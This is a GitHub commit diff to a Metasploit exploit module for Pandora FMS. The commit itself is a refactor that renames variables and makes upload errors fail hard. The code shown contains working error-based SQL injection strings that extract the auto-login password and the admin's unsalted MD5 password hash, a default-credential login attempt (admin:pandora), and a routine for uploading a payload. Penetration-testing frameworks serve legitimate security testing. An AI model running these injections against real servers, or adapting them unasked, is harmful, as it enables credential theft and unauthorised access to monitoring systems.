Skip to content

Commit 5a2d291

Browse files
committed
Fail on upload errors
1 parent b24e641 commit 5a2d291

File tree

1 file changed

+17
-19
lines changed

1 file changed

+17
-19
lines changed

modules/exploits/linux/http/pandora_fms_sqli.rb

Lines changed: 17 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -86,9 +86,8 @@ def check
8686
end
8787

8888

89+
# Attempt to login with credentials (default admin:pandora)
8990
def authenticate
90-
91-
# Attempt to login with default credentials (admin:pandora)
9291
res = send_request_cgi({
9392
'method' => 'POST',
9493
'uri' => normalize_uri(uri, 'index.php'),
@@ -105,17 +104,17 @@ def authenticate
105104
return auth_succeeded?(res)
106105
end
107106

107+
# Attempt to login with auto login and SQLi
108108
def login_hash
109-
# Generate random string and convert to hex
110-
sqlq = rand_text_alpha(8)
111-
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
109+
clue = rand_text_alpha(8)
110+
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
112111
# select value from tconfig where token = 'loginhash_pwd';
113-
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST"
112+
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
114113
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
115-
sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
114+
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
116115
sqli << "BY x)a) AND 'msf'='msf"
117116

118-
password = inject_sql(sqli, sqlq)
117+
password = inject_sql(sqli, clue)
119118

120119
if password && password.length != 0
121120
print_status("#{peer} - Extracted auto login password (#{password})")
@@ -163,15 +162,16 @@ def auth_succeeded?(res)
163162

164163
def extract
165164
# Generate random string and convert to hex
166-
sqlq = rand_text_alpha(8)
167-
sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join
165+
clue = rand_text_alpha(8)
166+
hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join
167+
168168
# select password from tusuario where id_user = 0;
169-
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL"
169+
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
170170
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
171-
sqli << ",0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
171+
sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
172172
sqli << "x)a) AND 'msf'='msf"
173173

174-
password = inject_sql(sqli, sqlq)
174+
password = inject_sql(sqli, clue)
175175

176176
if password && password.length != 0
177177
print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
@@ -227,29 +227,27 @@ def upload
227227
hash = $1
228228
else
229229
print_error("#{peer} - Could not extract hash from response!")
230-
print_error("#{peer} - Upload will fail!")
231-
return false
230+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
232231
end
233232

234233
# Extract hash2
235234
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/
236235
hash2 = $1
237236
else
238237
print_error("#{peer} - Could not extract hash2 from response!")
239-
print_error("#{peer} - Upload will fail!")
240-
return false
238+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
241239
end
242240

243241
# Extract real_directory
244242
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/
245243
real_directory = $1
246244
else
247245
print_error("#{peer} - Could not extract real_directory from response!")
248-
print_error("#{peer} - Upload will fail!")
249-
return false
246+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
250247
end
251248
else
252249
print_error("#{peer} - Could not identify upload form!")
250+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
253251
end
254252

255253

0 commit comments

Comments
 (0)